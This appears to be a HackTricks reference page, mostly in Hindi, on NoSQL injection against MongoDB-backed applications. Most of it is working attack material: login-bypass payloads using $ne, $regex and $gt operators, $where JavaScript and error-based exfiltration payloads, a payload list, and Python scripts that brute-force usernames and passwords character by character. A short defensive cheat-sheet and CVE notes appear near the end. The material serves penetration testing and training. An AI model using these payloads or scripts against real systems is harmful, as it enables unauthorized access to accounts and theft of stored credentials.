NoSQL injection

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Exploit

PHP में आप Array भेज सकते हैं, भेजे गए parameter को parameter=foo से बदलकर parameter[arrName]=foo कर सकते हैं।

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

not equal ($ne) या greater ($gt) का उपयोग करके

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

एक attacker इसे exploit कर सकता है admin' || 'a'=='a जैसे strings input करके, जिससे query सभी documents वापस कर देता है क्योंकि कंडीशन एक हमेशा-सच शर्त (tautology) ('a'=='a') से पूरा हो जाती है। यह SQL injection attacks के समान है, जहां ' or 1=1-- - जैसे inputs SQL queries को manipulate करने के लिए उपयोग होते हैं। MongoDB में भी, इसी तरह के injections ' || 1==1//, ' || 1==1%00, या admin' || 'a'=='a जैसे inputs से किए जा सकते हैं।

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

लंबाई की जानकारी निकालें

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

data जानकारी निकालें

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

डिफ़ॉल्ट रूप से प्रयुक्त MongoLite लाइब्रेरी के $func operator का उपयोग करके arbitrary function को execute करना संभव हो सकता है, जैसा कि this report में बताया गया है।

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

विभिन्न collection से जानकारी प्राप्त करना

It’s possible to use $lookup to get info from a different collection. नीचे दिए गए उदाहरण में, हम users नामक एक अलग collection से पढ़ रहे हैं और password जो एक wildcard से मेल खाता है, उन सभी एंट्रीज़ के परिणाम प्राप्त कर रहे हैं।

NOTE: $lookup और अन्य aggregation functions केवल तब उपलब्ध होते हैं जब खोज करने के लिए aggregate() function का उपयोग किया गया हो, न कि सामान्यतः प्रयुक्त find() या findOne() functions का।

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

Inject throw new Error(JSON.stringify(this)) को $where क्लॉज़ में इंजेक्ट करें ताकि server-side JavaScript errors के माध्यम से full documents exfiltrate किए जा सकें (इसके लिए एप्लिकेशन को database errors को leak करना आवश्यक है)। उदाहरण:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

यदि एप्लिकेशन केवल पहले failing document को ही leak करता है, तो उन दस्तावेज़ों को बाहर करके dump को deterministic रखें जिन्हें आप पहले ही पुनः प्राप्त कर चुके हैं। अंतिम leaked _id के खिलाफ तुलना एक आसान paginator है:

{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }

pre/post conditions को syntax injection में बायपास करना

जब एप्लिकेशन parsing से पहले Mongo filter को एक string के रूप में बनाता है, तो syntax injection अब एक single field तक सीमित नहीं रहती और आप अक्सर आसपास की conditions को neutralize कर सकते हैं।

$where injections में, JavaScript truthy values और poison null bytes अभी भी trailing clauses को खत्म करने के लिए उपयोगी हैं:

' || 1 || 'x
' || 1%00

raw JSON filter injection में, डुप्लिकेट कुंजियाँ उन पहले के प्रतिबंधों को अधिलेखित कर सकती हैं जो उन parsers पर लागू होते हैं जो last-key-wins नीति का पालन करते हैं:

// Original filter
{"username":"<input>","role":"user"}

// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key

// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}

यह तरकीब parser-निर्भर है और केवल तब लागू होती है जब application पहले JSON को string concatenation/interpolation के साथ assemble करता है। यह लागू नहीं होता जब backend query को end-to-end एक structured object के रूप में रखता है।

हाल के CVEs & Real-World Exploits (2023-2025)

Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359

Versions ≤ 6.0.0 ने Meteor method listEmojiCustom को एक्सपोज़ किया था जो user-controlled selector object को सीधे find() को फॉरवर्ड करता था। {"$where":"sleep(2000)||true"} जैसे operators इंजेक्ट करके एक unauthenticated attacker timing oracle बना सकता था और documents को exfiltrate कर सकता था। यह बग 6.0.1 में ठीक किया गया था — selector shape को validate करके और dangerous operators को strip करके।

Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061

यदि कोई application attacker-controlled objects को populate({ match: ... }) में फॉरवर्ड करता है, तो vulnerable Mongoose versions populate filter के अंदर $where-based search injection की अनुमति देते हैं। CVE-2024-53900 top-level केस को कवर करता था; CVE-2025-23061 एक bypass को कवर करता था जहाँ $where जैसे operators के अंदर nested था (उदाहरण के तौर पर $or)।

// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });

पूरे request object को फ़ॉरवर्ड करने के बजाय allow-list का उपयोग करें और स्केलर मानों को स्पष्ट रूप से मैप करें। Mongoose भी sanitizeFilter का समर्थन करता है जो nested operator objects को $eq में रैप कर देता है, लेकिन इसे explicit filter mapping का विकल्प न मानकर केवल एक सुरक्षा जाल के रूप में लें:

mongoose.set('sanitizeFilter', true);

Post.find().populate({
path: 'author',
match: { email: req.query.email }
});

GraphQL → Mongo फ़िल्टर भ्रम

जो Resolvers args.filter को सीधे collection.find() में पास करते हैं, वे अभी भी कमजोर रहते हैं:

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

रोकथाम: पुनरावर्ती रूप से $ से शुरू होने वाली कुंजियों को हटाएँ, अनुमत ऑपरेटरों को स्पष्ट रूप से मैप करें, या schema libraries (Joi, Zod) से वैलिडेट करें।

डिफेंसिव चीट-शीट (अपडेटेड 2025)

  1. $ से शुरू होने वाली कुंजियों को हटाएँ या रिजेक्ट करें; अगर Express Mongo/Mongoose के सामने है, तो ORM तक पहुँचने से पहले req.body, req.query, और req.params को sanitize करें।
  2. self-hosted MongoDB पर server-side JavaScript को डिसेबल करें (--noscripting या security.javascriptEnabled: false) ताकि $where और इसी तरह के JS sinks उपलब्ध न हों।
  3. $where के बजाय $expr और typed query builders का उपयोग करें।
  4. डेटा प्रकारों को जल्दी वैलिडेट करें (Joi/Ajv/Zod) और जहाँ scalar अपेक्षित हों वहाँ arrays या objects को न स्वीकारें ताकि [$ne] जैसी ट्रिक्स से बचा जा सके।
  5. GraphQL के लिए, filter arguments को allow-list के माध्यम से ट्रांसलेट करें; कभी भी अन्ट्रस्टेड ऑब्जेक्ट्स को Mongo/Mongoose filters में spread न करें।

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

यह एक सरल script है जिसे आप संशोधित कर सकते हैं, लेकिन पिछले tools भी यह काम कर सकते हैं।

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

उपकरण

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें